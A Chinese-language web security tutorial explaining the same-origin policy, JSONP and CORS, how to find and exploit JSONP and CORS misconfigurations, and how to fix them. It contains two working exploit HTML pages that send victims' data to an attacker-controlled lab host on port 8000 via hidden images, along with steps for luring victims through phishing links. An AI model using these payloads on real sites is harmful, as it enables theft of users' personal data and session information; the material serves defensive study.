特殊的 CSRF 跨域请求
同源网站
什么是同源
同源策略是浏览器实现的一种安全机制,用于限制不同源的网站之间的资源交互。两个网站被视为“同源”需要满足以下三个条件:
- 协议一致:例如,两个网站都使用
http
或https
。 - 域名或 IP 一致:例如,
example.com
和sub.example.com
不同源。 - 端口一致:例如,
example.com:80
和example.com:8080
不同源。
如果上述任一条件不满足,则两个网站被视为不同源。例如:
http://example.com
和https://example.com
不同源(协议不同)。http://example.com
和http://test.com
不同源(域名不同)。http://example.com:80
和http://example.com:8080
不同源(端口不同)。
同源策略的作用
同源策略是浏览器的一种安全机制,旨在防止恶意网站窃取用户数据或执行未授权操作。具体限制包括:
- DOM 访问限制:不同源的页面无法直接访问彼此的 DOM 元素。例如,一个恶意网站无法读取另一个网站的表单数据。
- Cookie 访问限制:不同源的网站无法读取或修改彼此的 Cookie。
- XMLHttpRequest 限制:AJAX 请求(包括
fetch
和axios
)无法直接向不同源的服务器发送请求。 - LocalStorage 和 IndexedDB:不同源的网站无法访问彼此的本地存储。
例外情况
尽管同源策略限制严格,但浏览器允许某些资源跨域加载,以支持常见的 Web 开发需求。这些资源包括:
- 图像:
<img>
标签可以加载来自任何源的图片。 - 视频和音频:
<video>
和<audio>
标签可以加载流媒体文件。 - 脚本:
<script>
标签可以加载外部 JavaScript 文件。 - 样式表:
<link>
标签可以加载外部 CSS 文件。 - 字体:
@font-face
可以加载跨域字体文件。
这些例外为开发者提供了便利,但也可能被攻击者利用,例如 JSONP 漏洞。
跨域请求
跨域请求的实际需求
在现代 Web 开发中,跨域请求是常见需求。例如:
- 子域名之间的数据共享:如
tieba.baidu.com
(百度贴吧)和map.baidu.com
(百度地图)需要共享用户登录状态或数据。 - 第三方服务集成:网站可能需要调用外部 API,例如天气服务、支付接口或社交媒体分享功能。
- 微前端架构:不同子系统运行在不同域名下,需要通过跨域请求进行通信。
跨域请求的目标是绕过浏览器的同源策略限制,实现不同源之间的数据交互。
实现跨域请求的方法
开发者可以通过以下两种常见方法实现跨域请求:
方法 1:JSONP 跨域
JSONP(JSON with Padding)利用了浏览器允许 <script>
标签加载跨域脚本的特性。其工作原理如下:
- 客户端通过
<script>
标签向服务器发送 GET 请求,并在请求中包含一个 回调函数名称(通常通过callback
参数指定)。 - 服务器返回一个 JavaScript 脚本,内容是调用指定 回调函数 并将数据作为参数传递。
- 客户端的浏览器执行返回的脚本,从而获取数据。
方法 2:CORS 跨域
CORS(Cross-Origin Resource Sharing,跨源资源共享)是一种更现代、更安全的跨域请求方式。它通过服务器端的 HTTP 头配置,明确允许哪些源可以访问资源。常见的 CORS 头包括:
Access-Control-Allow-Origin
:指定允许访问的源,例如https://example.com
。Access-Control-Allow-Methods
:指定允许的 HTTP 方法,如GET
、POST
。Access-Control-Allow-Headers
:指定允许的请求头。
CORS 工作流程:
- 客户端发送跨域请求(例如通过
fetch
或XMLHttpRequest
)。 - 浏览器可能先发送一个预检请求(
OPTIONS
方法),检查服务器是否允许跨域。 - 服务器返回适当的 CORS 头,浏览器根据这些头决定是否允许请求继续。
JSONP 漏洞
漏洞原理
JSONP 漏洞是由于 <script>
标签的跨域特性被滥用,导致攻击者可以构造恶意请求,诱导用户执行不受信任的脚本。攻击者通常通过以下方式利用 JSONP 漏洞:
- 找到存在 JSONP 接口的网站(通常带有
callback
参数)。 - 构造恶意的回调函数,使服务器返回的脚本执行攻击者的代码。
- 诱导用户访问恶意页面,触发 JSONP 请求。
挖掘 JSONP 漏洞
步骤 1:寻找 JSONP 接口的特征
要挖掘 JSONP 漏洞,首先需要识别目标网站是否使用了 JSONP 接口。JSONP 接口通常具有以下特征:
- GET 请求:JSONP 只能使用 GET 方法。
- callback 参数:URL 中包含
callback
或类似参数(例如cb
、jsonp
),用于指定回调函数名称,且参数值会与响应体对应。 - 响应体为 JavaScript:服务器返回的内容是 JavaScript 代码,通常形如
callbackName({...})
。 - Content-Type:响应头的
Content-Type
通常为application/javascript
或text/javascript
。
步骤 2:判断 JSONP 是否为漏洞
- 敏感数据泄露:JSONP 接口是否返回敏感信息(如用户 ID、令牌、个人信息),若有,就是漏洞。
利用
攻击者利用 JSONP 漏洞的典型步骤如下:
- 构造钓鱼页面:创建一个包含恶意 JSONP 请求的 HTML 页面
- 诱导用户访问:通过电子邮件、社交媒体或恶意链接诱导受害者访问钓鱼页面。
- 窃取数据或执行代码:当受害者访问页面时,浏览器加载 JSONP 响应,执行恶意回调函数,窃取数据或执行其他恶意操作。
攻击机上的 exp:
······
<script>
// 定义一个名为 test 的回调函数,用于接收 JSONP 返回的数据
function test(json) {
// 创建一个 img 元素用于发送窃取的数据
var img = document.createElement('img');
// 设置图片尺寸为 0,使其在页面上不可见
img.width = 0;
img.height = 0;
// 将 JSON 数据转换为字符串,并作为 URL 参数发送到攻击者控制的服务器
// 192.168.31.205:8000 是攻击者的接收服务器
img.src = "http://192.168.31.205:8000/" + JSON.stringify(json);
// 将隐藏的图片元素添加到页面中,触发 HTTP 请求
document.body.appendChild(img);
}
</script>
<!--
通过 script 标签加载外部 JSONP 接口
目标服务器,即受害者是 192.168.31.193:18080 的 jsonp_api.php
指定回调函数为 test,服务器返回的数据会被包裹在 test() 中执行
-->
<script src="http://192.168.31.193:18080/jsonp_api.php?callback=test"></script>
······
在攻击机上开启监听,并生成钓鱼链接:http://192.168.31.205:8000/exp.html
诱导受害者点击, 攻击者即可收到受害者浏览器中的敏感信息
CORS 漏洞
原理
Q:如何判断网站使用了 CORS 跨域请求? A:请求头中有
Origin
,响应头中有Access-Control-Allow-Origin
CORS 漏洞通常是由于服务器端配置错误,导致未经授权的源可以访问敏感资源。CORS 的核心机制是基于 Origin
请求头和 Access-Control-Allow-Origin
响应头:
- Origin 请求头:浏览器在跨域请求中自动添加
Origin
头,指示请求来源。 - Access-Control-Allow-Origin 响应头:服务器指定允许访问的源,例如
Access-Control-Allow-Origin: https://www.baidu.com
或Access-Control-Allow-Origin: *
。
CORS 漏洞的常见原因包括:
- 通配符配置:服务器设置
Access-Control-Allow-Origin: *
,允许所有源访问,可能暴露敏感数据。 - 动态回显 Origin:服务器直接将请求中的
Origin
值回显到Access-Control-Allow-Origin
中,未进行白名单验证。 - 允许凭据:设置
Access-Control-Allow-Credentials: true
且允许任意源,可能导致 Cookie 泄露。
挖掘
步骤 1:识别 CORS 配置
要挖掘 CORS 漏洞,首先需要确认目标网站是否使用 CORS 跨域请求。可以通过以下方法识别:
- 检查请求头:使用浏览器的开发者工具或 Burp Suite 抓取请求,查看是否包含
Origin
头。 - 检查响应头:观察服务器响应是否包含
Access-Control-Allow-Origin
头,并检查其值是否为*
或动态回显Origin
。 - 测试预检请求:发送一个
OPTIONS
请求,查看服务器是否返回宽松的 CORS 配置。
步骤 2:判断 CORS 是否为漏洞
CORS 配置是否构成漏洞取决于以下条件:
- 宽松的配置:
Access-Control-Allow-Origin: *
允许任意源访问,或动态回显Origin
而未验证,即 CORS 跨域请求没有限制。 - 敏感数据泄露:接口返回的响应体是否包含敏感信息(如用户数据、令牌)。
- Cookie 携带:如果设置了
Access-Control-Allow-Credentials: true
,攻击者可能通过跨域请求窃取用户的 Cookie。
利用
CORS 漏洞的利用流程如下:
- 搭建攻击服务器:攻击者在自己的服务器上部署一个恶意页面,用于发起跨域请求。
- 诱导用户访问:通过钓鱼链接或社交工程诱导受害者访问恶意页面。
- 窃取数据:恶意页面发起跨域请求,获取目标服务器的敏感数据,并将其发送到攻击者的服务器。
攻击机上的 exp:
······
<script type="text/javascript">
// 1. 创建XMLHttpRequest对象用于发起HTTP请求
var req = new XMLHttpRequest();
// 2. 设置请求完成时的回调函数(reqListener)
req.onload = reqListener;
// 3. 启用跨域凭据(携带Cookies等认证信息)
// 关键攻击点:利用用户当前会话的认证状态
req.withCredentials = true;
// 4. 初始化GET请求,目标为存在漏洞的students.php
// true表示异步请求(不会阻塞页面)
req.open('get','http://192.168.31.193/students.php',true);
// 5. 设置请求头伪装成表单提交
// 可能用于绕过某些简单防护
req.setRequestHeader("Content-Type","application/x-www-form-urlencoded;");
// 6. 发送请求(此时会携带用户当前域下的Cookies)
req.send();
// 7. 定义请求完成后的处理函数
function reqListener() {
// 8. 创建隐藏的Image对象作为数据外传载体
// 9. window.btoa + encodeURIComponent 双重编码窃取的数据:
// a) encodeURIComponent防止特殊字符截断URL
// b) unescape还原编码
// c) window.btoa进行Base64编码避免明文传输
// 10. 将敏感数据发送到攻击者控制的8000端口
new Image().src="http://192.168.31.205:8000/" + window.btoa(unescape(encodeURIComponent(JSON.stringify(req.responseText))))
};
</script>
······
在攻击机上开启监听,并生成钓鱼链接:http://192.168.31.205:8000/exp.html
诱导受害者点击, 攻击者即可收到受害者浏览器中的敏感信息
CORS 漏洞为什么不能用了
现代浏览器引入了 SameSite 和 Secure 的 Cookie 属性,增加了 CORS 漏洞利用的难度:
SameSite 属性:
Strict
:Cookie 不能在跨域请求中发送,彻底阻止跨域 Cookie 泄露。Lax
:允许部分跨域请求(如 GET 请求)携带 Cookie,比 Strict 更宽松,但限制较多。None
:允许跨域请求携带 Cookie,但必须与Secure
属性一起使用。
Secure 属性:要求网站使用 HTTPS 协议才能发送 Cookie。
要成功利用 CORS 漏洞并携带 Cookie,必须满足以下条件:
- 目标网站的 Cookie 设置了
SameSite=None
和Secure
属性。 - 攻击者的网站和目标网站均为 HTTPS。
修复
为了防止 JSONP 和 CORS 漏洞,开发者可以采取以下措施:
修复 JSONP 漏洞
限制回调函数名称:
- 服务器应对
callback
参数进行严格验证,仅允许白名单中的函数名称。 - 避免直接将用户输入的
callback
值嵌入响应中,防止代码注入。
- 服务器应对
避免返回敏感数据:
- JSONP 接口不应返回用户 ID、令牌或个人信息。
- 如果必须返回敏感数据,应使用 CORS 或其他更安全的方式。
使用 CORS 替代 JSONP:
- JSONP 是一种过时且不安全的技术,推荐使用 CORS 实现跨域请求。
修复 CORS 漏洞
正确配置 CORS:
- 明确指定允许的源,避免使用
Access-Control-Allow-Origin: *
。 - 如果需要支持多个源,使用白名单动态设置
Access-Control-Allow-Origin
。
- 明确指定允许的源,避免使用
去除或加密敏感信息:
- 确保跨域接口不返回敏感数据,如用户令牌或个人信息。
- 如果必须返回敏感数据,使用加密或令牌化技术保护数据。
设置安全的 Cookie 属性:
- 使用
SameSite=Strict
或SameSite=Lax
防止跨域 Cookie 泄露。 - 启用
Secure
属性,确保 Cookie 仅在 HTTPS 环境下传输。
- 使用
限制凭据:
- 除非必要,避免设置
Access-Control-Allow-Credentials: true
。 - 如果需要支持凭据,确保
Access-Control-Allow-Origin
不为*
。
- 除非必要,避免设置